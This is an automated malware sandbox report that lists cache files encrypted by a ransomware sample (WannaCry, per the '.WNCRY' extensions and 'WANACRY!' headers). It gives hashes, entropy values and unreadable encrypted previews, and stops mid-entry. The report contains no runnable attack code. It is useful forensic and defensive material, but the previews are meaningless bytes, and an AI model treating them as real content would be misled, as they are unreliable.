                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\hero-image-desktop-f6720a4145[1].jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):138488
                                                                                                                                                                              Entropy (8bit):7.998805591276936
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:fSUfOXbuN2XLhrbkh/eR6luz69qhIwPyGwQ3dpVCiPv4O:fSUfO51aAiqCwPyGH3di4v4O
                                                                                                                                                                              MD5:D30DC4EC93EFF959E0A51BD1A010BFF8
                                                                                                                                                                              SHA1:74960B89D543F3E00525C3AEED2C6B56C107A772
                                                                                                                                                                              SHA-256:DAB2E207877FDC47E17D17CC2E7BE2C5BE27AAFEFECEAB691FB97652096BD034
                                                                                                                                                                              SHA-512:D5384F105BD5F25AE2B69AD7F64BD1130376CD6851B9002039673F259F4FD97F2F31D0D08BC4C0E834BBB5AD73AC7287A29A60DDEA7AABAAF225DDC790FFABEA
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........7...y.....b...O|j......^.`4...;.....&U..A....&m.......kA.......1s..)Bkc..U$PT.T%.H..oi8PqN..IT......?..R..Q..Q..t.A...y_.....z...y..|..f....A.2e..,.N.lEu2..{.F.%..=C...b.Mq.]4/.r..C6Z.."..`.e?..Bd...>........w.jO.#.8.x !.|Z.X...E..z..............?...'$W9<...i..^...u0.-^. ..|0...._.^n...p.*..(........6..m....l....P.3....b..l..^.....1..U%..-.......<.....:1y.`G..X..`....>}i......;.|..b'....ZX...j....u.jB.!...'..e`......*.<t8 &}.p.B.......|/hu..$.0_...+R.y...y.2.u )....q.ag...|.<..D.G....!6...(uHqF.L.0.8..#qT..K7.+R+.j..G.P...!z?.^{G..~...^....`.:.fx9%...6....,S.e.s.).i..v..0<...Z?..Y...1zG.*p.goDm..3..hI.....Rq%...D_BeA..".....n...C+.0.d .0.t.U....(..B... ..Q.?..!;...M&....`Z.H.{.R.H....Y.@.i..!4.}.C...b.N.....x....].B.v...j..........x$.....p....w..5H.....Kl.C'.l.:/..k9.h]../c.......^aA..\.yQ..>.v..CZ..._....Uy.?..!.....<.`w`:.iMb.[...6.}.RnH..7...a._....}.Wf.U.....Jr.07.6r.JCQv..4C..r._(.n(...6'....M..NF.c

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\lockup-mslogo-color-78c06e8898[1].png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5096
                                                                                                                                                                              Entropy (8bit):7.965317450733941
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:o9qJHRHOlGVehJVz+Bm/dSOgN7u406DF1/VBqJMrU:7xHOAV8zCm/dSvu40UVbzU
                                                                                                                                                                              MD5:790F45486BB8A683B9B4FF69EDFC0D1F
                                                                                                                                                                              SHA1:C69A3AB8B325916A61BE04582479155E65DE26BF
                                                                                                                                                                              SHA-256:1CDF17FA55307FFCF27D3A53B458A552607E30A91B6F83D3A3D9EF36202AC322
                                                                                                                                                                              SHA-512:F3E0CB9BDEF5CB5B5747BF7627B8DD65178F087E075F7D44A304083FDBB8767BF62611A08950AC6625C95C4444F831D72807FC0E57D18E341FAE4DDC9A0FCD7E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....b..!.c.[...H.[.X...[.E..)..nTYI.).Q..<p_/.f6.....I......W....g.>5......$7.5.}c)y..9.>U..._.Q.U.....[.....BD6f.'........<.h.).{..2.G..$..0;_c..mu.c.....=U=z..1..C8..5CA..6....`.v.e*..I..(...........`8......^.Ch..6...7.'.cz.\/48kN...x.5.RmS.Y.l...$.............O...].3...LO-i.(..z......\.i...y.8n.UF..uR@".d.L.G..p............B&.w......d......@.OW%...W.w...._."nr..z...O.7...]<yU.6..N^.t/.kh..S.43........!m.x.0..8..W.(...n...q..L.).._=[..<.......jf...>X....&T.<A`n.>..e...+..).s.?.aa...w.9aT...il.+.h...d.....9...a.....".......:.=}...I...=(..@....N.+.a...<.s$#.m..B.....}.3......2p!..L.<..Y..&)........./.o.X.......m.....*......A.._N]5/./X..p...@.,..@....U_..<......w..m<.S...h....d.-#.......D-..k$i..;........D].[X..,.d,....hQ.H...a..I.W.x.Z$E.0...c.M.A...+...4.2.s..Dj......T".7..Z..`.@.V...J...........\._.q.=..v\..!&H.0.[...KIG*....F........L...p6ig..C.)S.......`...^.ZU....+`!....Q9.s.N......|Z[.Aj"ZW.q1a...&......5..B....`x5.!

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\pwa-vendor-bundle-ba2888a24179bf152f3d[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):702504
                                                                                                                                                                              Entropy (8bit):7.9997476946902
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:3bzx3YY6spiUXiaWqXoP/B/QhvGkIoGI8cxC4l2B+LlAlLVDKV+lDzrsuUEfV:RoY6E1S6Xcv0Gbcx/2BsAlLV+8lD7xd
                                                                                                                                                                              MD5:028CB57B8DD4C31691929061D86678F3
                                                                                                                                                                              SHA1:FE2EAE6CDD2AE3862309627D590A4C9A04F77B6F
                                                                                                                                                                              SHA-256:64CE755FF445C9DACD0E06D951FEB407EFB83DD9F600DCFFA42FEB9212AFAFB9
                                                                                                                                                                              SHA-512:D6363BE6A420A8C405DC5A736137846D7D8635CF71C7376587F9321835951EE4998B4767A7D45B4D119CF3ED3C5F9743B53F05B9D63C1CE5FD3B5423939787A6
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....S9Vc}....M&...Pw..-.v.X.Y..$..<..\.>z>.Yb`.n.k.......$8YT|.!+.)....s.W.76....E. ...=C.i"...}.~`mZ}1....c.D.b....L.....KN...R.":..(6^ ....fV..K.K5...P....>.87.h.1..FX.(.m)..T{`C...R...j.Qt...x..r.....@k^......_...!&........W5j..IH*RX.S..~...............\..Z.r.....:..Hmu.@.-...}f.=.i..0+Bt..t...Mr..+@......@..._q..vv..n...!%x E....%.....k?.9.U1.1G.K.F..H...............$..sH2u.....^.^..Bl(..19....cN..q.....F.T.6.6.b..sBcP........-s..GJ..F...^.`V.Q.........yn7..L....1...;..mm....f<.9.~.*k."........+~...k......8(HqU'...m'......b..F..5.>...S.D.7..!L3...*.8Y.b._...{>.Zz8.....^.*...P.>.....B...i.C..^c.T.,G.,..x..S.)m.`..{... .(.y.u.....m{^.w_.Pt.~j..- 5....N.."..........J.l..A.NX.Cp.AE..T...Fd.;..@2...}Y....o.H!.9..u.....&W..e..RWVS]-.W6.h..q.L.s.............P.f .y~.%_]H'..2ob.%..g...#b.@$,..vK.o?.]].r.oF.D..K..$.~.R.7.f9.x...:.r..|].H......*....4..>d.ZQ....m"....+...|.|R.S...d..E[..IAB..z.....TV...e.k.....jo..8-....P[S..`..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\otel-logger-104bffe9378b8041455c[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):97816
                                                                                                                                                                              Entropy (8bit):7.998210824556768
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:JrVe9lw9ecL3YHdE8BLJuTdLrEJULfT2/TJ/MuExJjNpUVzsHUimNb9/QqB:BF91uqtTdwU76/TaxJRa6AQS
                                                                                                                                                                              MD5:81F71F8E910F1BF4E24A64D2D417F8F9
                                                                                                                                                                              SHA1:D9E10AF66609F80E1E349E18ABE92CF51A20971A
                                                                                                                                                                              SHA-256:10E88821F2380D7C9B5A4FEB3CA7A261F14A989131D83506E1A95F200A17C154
                                                                                                                                                                              SHA-512:3E9F5E41BE047158065CAF0B18CFEC016FFDD5534DF33576F347F2825D8C6257D8D021B5D6129089E9B5BD1ABB726E5DD54048C4CA37526B69868CC6650D68DB
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!............THTQ.....85...q.\)W.=.n.)..^..a..#.*...K....9...c...........=.....}s./.>.$...3...K ..A.x...0../.O...........(.+3.......@.U...0.....i."....?...Gn.V.@....w.....Y.....g.gK.6....\Y.. ..[I......S....1....]....#.C...B..|.|._..i.?...........,..X.....|......n\..2.R.1.0.Q....p.[.D."_....u.*....t=M.:.....b.......!.......&......+.2..}....i)K....Y.........a.&{_.-P~S...xH..DP.c....sT'..l....#..O..e...|0.@.....s|M....s.1.}..!.....x...o.P............5...@.P.@ .Hy=$.Zl]S..mbGu.Q.@{`."29...k.tp........ .*.....I..X.!.S+gD.9.fv....4.....N.......7..i.>.'5...C.o..'.._<....%M...$.-p3...za..*.?`...u..g....[.......^.7.B.............v>6.2./.......@CYR...#`.7Q..#;.;...}..bQ./.b...@....B`p+.. ..&.4.o7.$..W|A.*+.E.`.U.C...%@....Y^......k......U.K.m...=UJ..v.'_aR..1r.pF.......^&1.2]..cID...1r3.bv?D2,.w].HR~.2......g...&S.t...0.:%JBP...<.........>..R(...a|e...+}&.K%N.l...;.JA.+.T....S..,TI.O#..B{.J .>...03...X.E.....Bw.0..3.;.83,.........`k.G..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\pwa-bundle-3a99f64809c6780df035[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1212760
                                                                                                                                                                              Entropy (8bit):7.999848365515391
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:hiUDn5FRlNBUqbinviysGu6eSASuSg/CBnikRSMVwGTU7x2MAH+qBb:3FRPBqnviythjATqDVZkVPqBb
                                                                                                                                                                              MD5:EEF0E34BF34CA6084CFAB46CB92804E5
                                                                                                                                                                              SHA1:2326FBD8CB809F64C3FCDAE069E12927FAE9BF0C
                                                                                                                                                                              SHA-256:4BBA14BF2AD7E4C67656DCB6847F2368CCAF08CDDA85EED73CCAAB87C4401614
                                                                                                                                                                              SHA-512:99ABF2931BE6665A85DEAE5AA979EFE1EBDA074A22FCC34DB31C12E3C4B10F67EDB68E8B68FE2EE6D868EAE230567004B206484E807FAEAE8DB9A5C9A2E5806F
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....A<.O...m^...-..Z...v...p!@|)K..*..@.\--p....D.......n....w.1Y..QY.}:m]...........^..SO..i.AP'...*..Gb04.y*6..a7..iV$g....*..U(.......'],.O..0...F~.$........6.N...K..........$...Zo.......y.w:IX.....M......|.${...h>.A..m..%9.......X.*.v;m9....;.........JNT.....L..K.m?..,.T.K...y.+..>.Li.I4l..6..`.}<.../....R...g...n.6.H(@.U..o.L.S.ft...+.....'F!*.....T.....v.`l.3...w.K>0.<.l.......(....m.._J.PHY....:M5H..^.....~t..*.|g.\..`.4....7`.. ............9].y.NP..j.].k...VW...^.C3w...+S....}.. f..............3."&Ok..y.WO....b!/B..."...V1I.m.......Z...........}'`...A.....`.......&.WHJ........}.S....*.x.g.X.)...../../+.k..6..Q.].J.....:l.=6".}.n#E.m......._.{..I.+#w...9.J_&A1Z..z.dXOtpx....Z..\I..p..6.^.@..m(.p.m....+..v.-.#+.g..}..*o...i...l.V...(.*.`.U...)-..~p..D..."%.#.G.@Y..<C.j...f...K.,.i..jvI].....>.H...+.tW.t..D..d.a..._.|..s......C.M....>..H.f......c.j.T!Q.q..IX`.8...d...;.Lrn.+..R3..........5&w...^..8..}Kt'.79v0.v.3..HV%1r....j1.|

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\staticpwascripts-30998bff8f[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):18856
                                                                                                                                                                              Entropy (8bit):7.990043779114563
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:QCffiiTJMrxNbpg9o3uF0SEQ2gaIVWVT/+TaqBKpA:QCHiidMrxN1g9euF0S2gNcFoc6
                                                                                                                                                                              MD5:044BAA94BF99A8642380E2F5AC48ABD7
                                                                                                                                                                              SHA1:AEDC33536DAAEA9BBA67C96E7F1B1EAA098EE991
                                                                                                                                                                              SHA-256:7A1DB1CBC57C60F10923927F2E36ED44050417C6D36B10622F03AF746A7611DC
                                                                                                                                                                              SHA-512:4AAF5E8E6B576733D202662684B86DABBF838AF3C640E5876F28DB94C40A2146FA38A8F4B06263068EB37BAACB32840F6AF7A8C21F1685FDCFCB17CBB77A166B
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....}...@2.+..r>...H..N. ..Q.'3.lF..H..QQ..." ......,..4.k..O...d...K.../.0".`...C0...w*......8...V..l...v}....=:....g9.y1<.!Q.d.....8..."....b.|t.xJR.3....7L.|bsVf...k]3w..~....(.O.8..C..o...../-."w6.F2.0)f.<6..F..6E>.).'....fk...Kk..]..2j..P)o3.....H......./.L.(`.....h.....m..P..._......H..&.L.....!..fZ...9.......!o...............O..>..8...8..z..3.q..}.D..8$..k..Xr.5..+......C.'....$.>.wP..h.f.=.}.%.O8...@.N.>...h.!....].b.t<.t....G..2....$...I.......Pt.[Q...P/..)R.,..2..A?.@.Ix.>.y..3."....l`U..m....`......D..HH.....C.R..$'p...%.W...........!...A..$....]...^.I.l.R.&.>.Ma..+..7.m..52@.z-...F$J.0V+....@..E..hWGfS.....#.x`...].z..8..H.i)....#..}..J'......[2.X.p..z.q.J..4Kg..e.B.p.q..o..A].yX^h..Co.v......g...`..$.6..`^.....Z......F.'...x..d^... 3........z..~..Q..i:..?.m......v...6.]8%.x....O..C...o|.g...X M.../<.R*8......T/.z.z...n>F...rcYM'..!K.x.i...\u.L..`.......<.HH....jY....h.....>.z..sk'D{..uq.En..a..e.E(+.S....3....&.v

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\1Sd5265G8OlnRColAI8O_SxSQ1Q.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):126360
                                                                                                                                                                              Entropy (8bit):7.998608786350374
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:oZRluDFDAEkFNoQULZ+uFl/eeUGdO7s4FAx7:oZRyi4Fr1dUGXh7
                                                                                                                                                                              MD5:D25C2CD7F062F64E921A8365F0D95425
                                                                                                                                                                              SHA1:25FE6EF23EB8FCF01D9A19F37FAA204C61EB62E3
                                                                                                                                                                              SHA-256:43B2129018C33682F92D0B103D440076682AE3E9BEDCD3F2D9E3F442F150DF2E
                                                                                                                                                                              SHA-512:66BA73747F0646B44B7822E528428B54316D20DFD0B2A8780B1734516EDC8082B086635A71EC8F4221586E82D1A56E54FDD63992B60751B1CBF674613E0EE922
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......$&Cg.O...8.D.].....Q.5;.d..@....~....n.}M..../e.c...!!@<.9.>).u..} ..#G..'!.+...q..A.......eW.2t..=@cU...j[.$"@;.1),GT.5.4.i.9J....;S......e.[.KZ.h....@..;@...R.k..F....1.F...}......*.).._O..h...N{....:CBv.."K.*!...O....Y..?.)U.P....z.%.?.............\.=.~5(..A........v..{;...4..bm.q...$.../.o.@.6.....y...q...*..+...8.W.5.;.}D..4H|^H...4C....w.D.._.v..b`.c.fiA..j..K,....YB"7m../.xr..j..._.HY_4Z...-...V.|A..t....2....C.k..I=.I...{.).)Q.5j..'.....-...=).k-..V...s..GZ.......0w.$..n.=.ZEUC.j..8.:Jq..-i.T0.z.'U........r.....GM..-:A.Q.Q.Y.......X?8}ex?.{....`O>............X.e...!]}W/....bL....i.p......@...ZM,.B..X...F...)..y.L.ce.p4{.D....H(W'5I>Y.>.,gU.}......L.,....g.....`..Uv.6.2?.$......@E..B..6...i..&....Uu...9....X....U..6'bYf|.e.%....T....N..@...w.}:..o.......`.../{.$>..(.a.*...a.=. M30.....KN.>tn< .q...gH..]k....X.(_..3Q6....Mt.o.....>.C.....TF..^.,.P.......;.2X........[h....mM.|.u...^M.7.;B...!...^/..x,.I..;?-..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\1Sn5SNt0IREcKFlp90or9jPLf2M.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):15224
                                                                                                                                                                              Entropy (8bit):7.98751490872385
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:DHHRNldR9OhJ/Zsn+msEEUUkVmSl8Tistbz49YtdOqDqtP8p3hP:DHbl9OOn+mREUrl8eMv4sNtrP
                                                                                                                                                                              MD5:A2DCA0DEE0DBE01E441C040FD4FD2CD1
                                                                                                                                                                              SHA1:2107DD9AB792057628DF8E453EEDF666F674A442
                                                                                                                                                                              SHA-256:5C9187A146CFF000AD8F68BB2A75169AF0006B994434E6445E7B32B26D629047
                                                                                                                                                                              SHA-512:A4684CE57ACC5FB77B6E1FF629571A3C8014532BB8D713841A667C29810303A74A2B68A3783206F8E03593B88E7B21385C35CD0D273C86979E45745C68ED4DEC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....f......hi..XV.e.....c.vE.VI..~r.i.)..xLa3z.Cq.. T...D..z.,.;Ty..b....q. %)A......Q.1.o.X./..>T.R..h...{Lc..v.&$Fh.........$..,..........qD=H.DS.Ou..&.....Y`\....A1...R.Uv{Q.h......e...0.r.+...'\....].:...s......Zk.n..C.Rwwb....6......H.p.....F5\.....Q:...........Y.....vX.UO8.7..jN..yEgG..M^.Sh.U)...6..<i.7..=..KQ..../...R=|.0.*.y..d......}]a......^-N.a%.<....&...[*=...WM....P...%U.G...Z+.F..RQ......k..|.~..'..Q?x9.....X.....e....+(?..QB.^.....=9r..[.6(...#5b...3.\..|..{.r...(./..+'.."...3....\..g.4,.....$...W..=v*b.+...:.R.....].'}.....fGh.%...I..x._S..f.YR.~Q....6Q..k6..LF...[..*.t... ....L..%}...y:........s....6.EF.=.ms[.>.\.".....Y'...%...D<........z....CXV,.C.a..r..;.8.T....1:..N.).".G.N.'.?.#./.aH.>qZ.X.....$YFd@X..C.i....~.Kx.....lX.l...d.....P"F.a..........~.T..GF.FVx.qza......Cv...f.)..\.'....O...:..0.....F.5...5...$...B...G.$.)x}>....".g. ..&\.....U.~.C.9.....&]}..|Z......Z.`..yr..L#E..../..k.\;.......O..e...,.L\.g...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\1_gc11zDuaJOyBP7gyptBGdPRf4.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):59896
                                                                                                                                                                              Entropy (8bit):7.996669644499615
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:CR5bxG18JGsgPGoSv+SH4DMfN5vsT9MrVjdHCZDWeR6VU+we:CR5HJG7Sv+3DUk9AVpty+we
                                                                                                                                                                              MD5:F506322AB5816FF94AEA5F3C2745CE78
                                                                                                                                                                              SHA1:DD5413378BA9D236D9B71FD2858DC74D3C66A8F3
                                                                                                                                                                              SHA-256:74A25D428E07750C3DD3009518C52EC8A14DB1E346376E9551F023AE9356D2F3
                                                                                                                                                                              SHA-512:32FC4197316640D3614DBF6D5D7EBD1CE24C03134A50787E92BED959CB909951E66517B441FF8DC6AA6A7DBF860E2E8862BF3BE46EB97AA479DC50AE66E30DCC
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......V.....;.@.f.......a.Q..u..tL.. *%.Sb...*I....}6J@eY.9BIfJ..v..1r...\..Q...J.!.n.H..c.....-.Sp...A)k...&I....ov.8..{4.f...?..%.A...XO.Q....n)..>&...... .7.Z..b$.{..3>........T.0..:/..G...R.0...3"..O..........y.`1j|<.4.D0.f...}%......6]..6.7M................."$UV...A.y._.#.@..:.x.j&.l....w;.C.$.#)..^...ha#|..pp2.e...i...^.G..t......,^..TD.f,....4@....&..0"...O.N.Sm.-V....X.{...}.?.).hl#.).%....C..................gj.`,.1x.F!.7*.P{......[...<.....=P@...;37....J...k.D..D...d..U.O.up.......RF`..(..W.....#./....#.wn....P.....*..a...X...3.o4..S...(4#d..,W..0.......U..lQ.`.<8...x z......y.&.Uy.....3...b..Q...V]F@.*..k.\X...?6:<<.-..uB=...S....V....>='.Z......UHA..... .......JZ`....#...........Q.q...*.l.{...`.,...l.Q.y........B.Q.9U......W..).T8?...UB.K.0......M..l..y..t.....gL....Xn..&q9..r|..t...[....%..JC.f......hNI(..YA.$.rb..P_.....Q.....w...../.].`..+..5.....C........1.=...6..%c.bH. E.&.:p..O...wp~.3...0.<.E.{)~..a.....Ef......

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\4BpQ1bD8vX1mXuJObN-gg9RqkyQ.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1240
                                                                                                                                                                              Entropy (8bit):7.850915149663794
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkXr+YNhYxD7FlGVzTohkgbkhtKXm3ssRfPfgkalxGYIqSsy4HHjQQE2:bk7+YfMD7FWzUkgbQKm3TINx2Hsy4njd
                                                                                                                                                                              MD5:5F76347AD938C9035923428FFC936A32
                                                                                                                                                                              SHA1:EF8CBB5E24428397AC73A00E05460DA8CF145510
                                                                                                                                                                              SHA-256:F9AEC9DF34702DD044379CD37E76028822FFC63E6A28E38A9DB8AD9C328A55F3
                                                                                                                                                                              SHA-512:47167BDB849920F82969D6D0DF1185C8CCE3CB0528C2400477CCFD7B228FBE1D33A814D03F86DE196FCC720A4283C9C8024A737752D4F758B366FE25A97E8BD3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......3..Lf*.YL=...xf..e.4....../.q>.N....7.S..#.mvjx.._.{8.~Ll;N.mE.B....fL.A....dV.f.c>..<...wM...*p..\..9.$..j.<1..=1..y....o.O....1......9.....6?b]DC..*..>T.R..u..(.4@r..,`.S...j....`.qE.../u`......Hq.X.....z1..Lk.r...d..=..<.@...Qc...v. .&..............MjU.M.k;...u_.....8...p.g..gt.C.+ J.....?z....c..o).?%..5}v.#...V.L.j.V.a.E.....r..m.....7._H..me".....YyHh$J^.. ..`.....=.....0>g.AU....m.(...N.d....C._... .J............X..D.a..R....*.A..Q<zw{.EI.xg.H...3E.....^3....5.g/.>5M..P.CQ...~.$....'.K.)......^...I..%"*...8...C'.=..\5...Q.5...q..|.h...Yu.?.'..7...{.D..*J....sM.c5{..$6..FD..3...Sk.#.%.`.i..Mn.7:...P!..I.P.5K.X|..":h..5AS.-...............ei...a0...C..tP....d.....i...3.K...V<.F[).T.......xy.f.(...S"t.i.l.$T..z.^Qsv...\..&.].sp....N.y.q.m.X...o..........,....5....>r...M8.UFq.........F$.......*.x.........h.....25..k`.R.t........T.*.C.n......L..g.;....Sk[.R.3...0,........7....nHv"..@.:+k,g;d<c..W.r.E....N.N.o.DC....@

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\584482RVjBIoEvVSe0RsuS1I4YQ.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):45736
                                                                                                                                                                              Entropy (8bit):7.995805687600383
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:CdBS5PFE7AtYnfrGg45Hfy+eQs7yUP4GpFlMLcmYkpQV4pJCCkAbwmjBRCKMwxrf:CdBI9EUtAKPy+eZ7ywL5+b5BcYBRIwJf
                                                                                                                                                                              MD5:388C6652B5DF84AD69095DF925D2C6B4
                                                                                                                                                                              SHA1:3071A7ECB8BFF2288855014C296DA54AE2816BFD
                                                                                                                                                                              SHA-256:163EEA9E6E92A6A8EEE3CCA162DD1FC7DFBF99B8FEBAB99C14F7D8559347B5A8
                                                                                                                                                                              SHA-512:03C7FA091EC29047A2FC3F8350BF143E6921F094580EA03CD05B29DF759791CDECA8717DB7308953C59D7ED578EC86A8FF45AA7CD263F5E25FF0DA9FC60CCF15
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....@.........L....A.C.}.*T(.-3....'t.7.Q.F .k..P].VG.<#b ]y./.^.@...-|.....Y...&..h..y..dm..4.Vn.r........%:J....g...?Z..Q.<8!.fZ.=$.....Z......x..'...X.._.....(._..w..|.=...)[.i.....*.$.."~..N..Vic3u...2A..H.Vw.A.|V.lP.D.GA.o....S.T....B.V.JX..b.............n<.8$"..r_..I...n.s.R......V$*.u.......*}....5.?%/L...}..$.BS.c.C..o..i."}J..`.2c%.X.co...P.6m...\.$..lH...'.g..@.5.(.i.y...f6......qw.]...O+o.qX...K.b.8$*.>HumD...ju.8.;u.{37'.......L.....Cf....].U.R~....!g"X...h...X.o.dx@.B.a=!..<..C.~.~opk|...^s....o..._W.]........2../.H$s..>........9...T.L..Q..<..d....&...`L.a.........B:".C_~S..&."x..yJ{8u..~../].~:.Ra.?=.<D..S....z...O..u.'....w.'....I!J...(... ....lLsU....Q.I`$O...-..=:fC...h......D..?A.4..:."..0[.. }."..r.....tS........H...x~..{1.#.......K]..?_..p.......0v.d.P.q~F.l|......j"....}|.|..V4......a..m...Z....o.1&#.Q.....w...Sr.L.6...I.RjqXR.4....s....p........<N..]gP..k.....6j.....)..e..e......P`P..4.f..._.&|>..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6qhc82nhlRe74lC1CBjrzThsaXw.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):39320
                                                                                                                                                                              Entropy (8bit):7.995617374208714
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:PcjtrmePsAEENHwcNRgsrU/WQe4yyp05DbKKyfhweX:Ejtrmsz+cNRgsrUHDytDWKyft
                                                                                                                                                                              MD5:371C096667F7149CAD4D7BA45F46C521
                                                                                                                                                                              SHA1:BAEB988CA8C17D34E3F7BC3C0BC62731E942B30F
